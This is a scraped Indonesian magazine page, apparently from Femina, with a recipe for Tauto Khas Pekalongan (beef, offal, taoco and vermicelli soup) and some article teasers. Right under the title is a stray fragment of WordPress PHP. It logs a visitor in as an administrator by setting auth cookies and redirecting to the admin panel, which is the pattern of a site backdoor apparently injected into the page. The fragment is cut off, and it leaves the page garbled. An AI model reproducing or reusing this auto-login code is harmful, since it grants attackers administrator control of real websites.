Resep Tauto Khas Pekalongan

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Daging

18 Sep 2018

Foto: Denny Herlianso

Bahan:

2 l air, untuk merebus
500 g daging sapi sandung lamur, cuci bersih
3 sdm minyak sayur
4 sdm taoco
2 lembar daun salam
4 batang serai, ambil bagian putihnya, memarkan
1½ sdt garam
1 sdt gula pasir
100 g suun, rendam dalam air panas hingga lunak, tiriskan
250 g jeroan sapi (babat, paru, usus), rebus hingga lunak, potong dadu 2 cm

Bumbu, haluskan:
12 butir bawang merah
4 siung bawang putih
5 buah cabai merah
1 sdt merica butiran
½ butir biji pala

Pelengkap:
3 batang daun seledri, iris tipis
3 batang daun kucai, iris tipis
6 buah kerupuk mi
Bawang merah goreng
Jeruk nipis
Sambal rawit merah

Cara Membuat:

1/ Rebus daging sapi hingga empuk. Angkat. Tiriskan daging, potong dadu 2 cm. Sisihkan kaldu untuk kuah soto.
2/ Panaskan minyak, tumis bumbu halus, taoco, daun salam, dan serai hingga harum. Tuang ke dalam panci berisi kaldu, didihkan kembali.
3/ Masukkan potongan daging sapi, garam, dan gula, aduk rata. Masak hingga bumbu merasuk ke dalam daging (15 menit), angkat. Sisihkan.
4/ Atur suun dan jeroan sapi dalam mangkuk saji, tuang dengah kuah soto bersama potongan daging.
5/ Sajikan panas bersama pelengkap.

Topic
#soto , #onedishmeal , #jeroan

Sarapan Sehat

Soto Bandung

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id